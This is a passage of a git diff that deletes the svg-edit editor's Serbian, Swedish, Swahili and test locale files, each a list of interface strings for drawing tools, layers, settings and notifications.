-		"circle_cx": "Промена круг&#39;с ЦКС координатни",
-		"circle_cy": "Промена круг&#39;с ср координатни",
-		"circle_r": "Промена круга је полупречник",
-		"ellipse_cx": "Промена елипса ЦКС&#39;с координатни",
-		"ellipse_cy": "Промена елипса&#39;с ср координатни",
-		"ellipse_rx": "Промена елипса&#39;с Кс радијуса",
-		"ellipse_ry": "Промена елипса је радијус Ы",
-		"line_x1": "Промена линија Стартни кс координата",
-		"line_x2": "Промена линија је завршетак кс координата",
-		"line_y1": "Промена линија у координатни почетак Ы",
-		"line_y2": "Промена линија је Ы координата се завршава",
-		"rect_height": "Промени правоугаоник висина",
-		"rect_width": "Промени правоугаоник ширине",
-		"corner_radius": "Промена правоугаоник Кутак радијуса",
-		"image_width": "Промени слику ширине",
-		"image_height": "Промени слику висине",
-		"image_url": "Промените УРЛ адресу",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Промена садржаја текстуалне",
-		"font_family": "Цханге фонт породицу",
-		"font_size": "Цханге фонт сизе",
-		"bold": "Подебљан текст",
-		"italic": "Италиц текст"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Промена боје позадине / непрозирност",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Стане на садржај",
-		"fit_to_all": "Уклопи у сав садржај",
-		"fit_to_canvas": "Стане на платну",
-		"fit_to_layer_content": "Уклопи у слоју садржај",
-		"fit_to_sel": "Уклопи у избор",
-		"align_relative_to": "Алигн у односу на ...",
-		"relativeTo": "у односу на:",
-		"страна": "страна",
-		"largest_object": "Највећи објекат",
-		"selected_objects": "изабраних објеката",
-		"smallest_object": "Најмањи објекат",
-		"new_doc": "Нова слика",
-		"open_doc": "Отвори слике",
-		"export_png": "Export as PNG",
-		"save_doc": "Сачувај слика",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Поравнај доле",
-		"align_center": "Поравнај по центру",
-		"align_left": "Поравнај лево",
-		"align_middle": "Алигн Средњи",
-		"align_right": "Поравнај десно",
-		"align_top": "Поравнајте врх",
-		"mode_select": "Изаберите алатку",
-		"mode_fhpath": "Алатка оловка",
-		"mode_line": "Линија Алат",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Фрее-Ручни правоугаоник",
-		"mode_ellipse": "Елипса",
-		"mode_circle": "Круг",
-		"mode_fhellipse": "Фрее-Ручни Елипса",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Текст Алат",
-		"mode_image": "Алатка за слике",
-		"mode_zoom": "Алатка за зумирање",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Поништи",
-		"redo": "Редо",
-		"tool_source": "Уреди Извор",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Група Елементи",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Разгрупирање Елементи",
-		"docprops": "Особине документа",
-		"imagelib": "Image Library",
-		"move_bottom": "Премести на доле",
-		"move_top": "Премести на врх",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Сачувати",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Избриши слој",
-		"move_down": "Помери слој доле",
-		"new": "Нови слој",
-		"rename": "Преименуј слој",
-		"move_up": "Помери слој Горе",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Изаберите унапред дефинисани:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.sv.js b/public/svg-edit/editor/locale/lang.sv.js
deleted file mode 100644
index 49f6a3b8..00000000
--- a/public/svg-edit/editor/locale/lang.sv.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "sv",
-	dir : "ltr",
-	common: {
-		"ok": "Spara",
-		"cancel": "Avbryt",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Klicka för att ändra fyllningsfärg, shift-klicka för att ändra färgar",
-		"zoom_level": "Ändra zoomnivå",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Ändra fyllningsfärg",
-		"stroke_color": "Ändra färgar",
-		"stroke_style": "Ändra stroke Dash stil",
-		"stroke_width": "Ändra stroke bredd",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Ändra rotationsvinkel",
-		"blur": "Change gaussian blur value",
-		"opacity": "Ändra markerat objekt opacitet",
-		"circle_cx": "Ändra cirkeln cx samordna",
-		"circle_cy": "Ändra cirkeln samordna cy",
-		"circle_r": "Ändra cirkelns radie",
-		"ellipse_cx": "Ändra ellips&#39;s cx samordna",
-		"ellipse_cy": "Ändra ellips&#39;s samordna cy",
-		"ellipse_rx": "Ändra ellips&#39;s x radie",
-		"ellipse_ry": "Ändra ellips&#39;s y radie",
-		"line_x1": "Ändra Lines startar x samordna",
-		"line_x2": "Ändra Lines slutar x samordna",
-		"line_y1": "Ändra Lines startar Y-koordinat",
-		"line_y2": "Ändra Lines slutar Y-koordinat",
-		"rect_height": "Ändra rektangel höjd",
-		"rect_width": "Ändra rektangel bredd",
-		"corner_radius": "Ändra rektangel hörnradie",
-		"image_width": "Ändra bild bredd",
-		"image_height": "Ändra bildhöjd",
-		"image_url": "Ändra URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Ändra textinnehållet",
-		"font_family": "Ändra Typsnitt",
-		"font_size": "Ändra textstorlek",
-		"bold": "Fet text",
-		"italic": "Kursiv text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Ändra bakgrundsfärg / opacitet",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Passar till allt innehåll",
-		"fit_to_canvas": "Anpassa till duk",
-		"fit_to_layer_content": "Anpassa till lager innehåll",
-		"fit_to_sel": "Anpassa till val",
-		"align_relative_to": "Justera förhållande till ...",
-		"relativeTo": "jämfört:",
-		"sida": "sida",
-		"largest_object": "största objekt",
-		"selected_objects": "valda objekt",
-		"smallest_object": "minsta objektet",
-		"new_doc": "New Image",
-		"open_doc": "Öppna bild",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Centrera",
-		"align_left": "Vänsterjustera",
-		"align_middle": "Justera Middle",
-		"align_right": "Högerjustera",
-		"align_top": "Justera Top",
-		"mode_select": "Markeringsverktyget",
-		"mode_fhpath": "Pennverktyget",
-		"mode_line": "Linjeverktyg",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Fri hand rektangel",
-		"mode_ellipse": "Ellips",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Fri hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Textverktyg",
-		"mode_image": "Bildverktyg",
-		"mode_zoom": "Zoomverktyget",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Ångra",
-		"redo": "Redo",
-		"tool_source": "Redigera källa",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Group Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Dela Elements",
-		"docprops": "Dokumentegenskaper",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Flytta till början",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Spara",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Radera Layer",
-		"move_down": "Flytta Layer Down",
-		"new": "New Layer",
-		"rename": "Byt namn på Layer",
-		"move_up": "Flytta Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Välj fördefinierad:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.sw.js b/public/svg-edit/editor/locale/lang.sw.js
deleted file mode 100644
index ec0275a1..00000000
--- a/public/svg-edit/editor/locale/lang.sw.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "sw",
-	dir : "ltr",
-	common: {
-		"ok": "Okoa",
-		"cancel": "Cancel",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Click kubadili kujaza color, skiftarbete-click kubadili kiharusi color",
-		"zoom_level": "Change zoom ngazi",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Change kujaza Michezo",
-		"stroke_color": "Change kiharusi Michezo",
-		"stroke_style": "Change kiharusi dash style",
-		"stroke_width": "Change kiharusi width",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Change mzunguko vinkel",
-		"blur": "Change gaussian blur value",
-		"opacity": "Change selected opacity punkt",
-		"circle_cx": "Change mduara&#39;s CX kuratibu",
-		"circle_cy": "Change mduara&#39;s cy kuratibu",
-		"circle_r": "Change mduara&#39;s Radius",
-		"ellipse_cx": "Change ellipse s CX kuratibu",
-		"ellipse_cy": "Change ellipse s cy kuratibu",
-		"ellipse_rx": "Change ellipse s x Radius",
-		"ellipse_ry": "Change ellipse&#39;s y Radius",
-		"line_x1": "Change Mpya&#39;s mapya x kuratibu",
-		"line_x2": "Change Mpya&#39;s kuishia x kuratibu",
-		"line_y1": "Change Mpya&#39;s mapya y kuratibu",
-		"line_y2": "Change Mpya&#39;s kuishia y kuratibu",
-		"rect_height": "Change Mstatili height",
-		"rect_width": "Change Mstatili width",
-		"corner_radius": "Change Mstatili Corner Radius",
-		"image_width": "Change image width",
-		"image_height": "Change image urefu",
-		"image_url": "Change URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Change Nakala contents",
-		"font_family": "Change font Family",
-		"font_size": "Change font Size",
-		"bold": "Bold Nakala",
-		"italic": "Italiki Nakala"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Change background color / opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Waliopo Content",
-		"fit_to_all": "Waliopo all content",
-		"fit_to_canvas": "Wanaofaa Canvas",
-		"fit_to_layer_content": "Waliopo safu content",
-		"fit_to_sel": "Waliopo uteuzi",
-		"align_relative_to": "Align jamaa na ...",
-		"relativeTo": "relativa att:",
-		"umebadilisha": "umebadilisha",
-		"largest_object": "ukubwa object",
-		"selected_objects": "waliochaguliwa vitu",
-		"smallest_object": "minsta object",
-		"new_doc": "New Image",
-		"open_doc": "Open Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Align Center",
-		"align_left": "Align Left",
-		"align_middle": "Kati align",
-		"align_right": "Align Right",
-		"align_top": "Align Juu",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Penseli Tool",
-		"mode_line": "Mpya Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rectangle",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Nakala Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Tengua",
-		"redo": "Redo",
-		"tool_source": "Edit Lugha",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Kikundi Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Kuhama Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Save",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Move Layer Down",
-		"new": "Mpya Layer",
-		"rename": "Rename Layer",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Select predefined:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.test.js b/public/svg-edit/editor/locale/lang.test.js
deleted file mode 100644
index fe69bc1e..00000000
--- a/public/svg-edit/editor/locale/lang.test.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "test",
-	dir : "ltr",
-	common: {
-		"ok": "OK",
-		"cancel": "Cancel",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Click to change fill color, shift-click to change stroke color",
-		"zoom_level": "Change zoom level",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Change fill color",
-		"stroke_color": "Change stroke color",
-		"stroke_style": "Change stroke dash style",
-		"stroke_width": "Change stroke width by 1, shift-click to change by 0.1",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Change rotation angle",
-		"blur": "Change gaussian blur value",
-		"opacity": "Change selected item opacity",
-		"circle_cx": "Change circle's cx coordinate",
-		"circle_cy": "Change circle's cy coordinate",
-		"circle_r": "Change circle's radius",
-		"ellipse_cx": "Change ellipse's cx coordinate",
-		"ellipse_cy": "Change ellipse's cy coordinate",
-		"ellipse_rx": "Change ellipse's x radius",
-		"ellipse_ry": "Change ellipse's y radius",
-		"line_x1": "Change line's starting x coordinate",
-		"line_x2": "Change line's ending x coordinate",
-		"line_y1": "Change line's starting y coordinate",
-		"line_y2": "Change line's ending y coordinate",
-		"rect_height": "Change rectangle height",
-		"rect_width": "Change rectangle width",
-		"corner_radius": "Change Rectangle Corner Radius",
-		"image_width": "Change image width",
-		"image_height": "Change image height",
-		"image_url": "Change URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Change text contents",
-		"font_family": "Change Font Family",
-		"font_size": "Change Font Size",
-		"bold": "Bold Text",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Change background color/opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Fit to all content",
-		"fit_to_canvas": "Fit to canvas",
-		"fit_to_layer_content": "Fit to layer content",
-		"fit_to_sel": "Fit to selection",
-		"align_relative_to": "Align relative to ...",
-		"relativeTo": "relative to:",
-		"page": "page",
-		"largest_object": "largest object",
-		"selected_objects": "selected objects",
-		"smallest_object": "smallest object",
-		"new_doc": "New Image",
-		"open_doc": "Open Image",
-		"export_png": "Export as PNG",
-		"save_doc": "Save Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Align Center",
-		"align_left": "Align Left",
-		"align_middle": "Align Middle",
-		"align_right": "Align Right",
-		"align_top": "Align Top",
-		"mode_select": "Select Tool",
-		"mode_fhpath": "Pencil Tool",
-		"mode_line": "Line Tool",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-Hand Rectangle",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Free-Hand Ellipse",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Tool",
-		"mode_image": "Image Tool",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Undo",
-		"redo": "Redo",
-		"tool_source": "Edit Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Layer",
-		"group": "Group Elements",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Elements",
-		"docprops": "Document Properties",
-		"imagelib": "Image Library",
-		"move_bottom": "Move to Bottom",
-		"move_top": "Move to Top",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Apply Changes",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Move Layer Up",
-		"move_down": "Move Layer Down",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Move Layer Down",
-		"new": "New Layer",
-		"rename": "Rename Layer",
-		"move_up": "Move Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
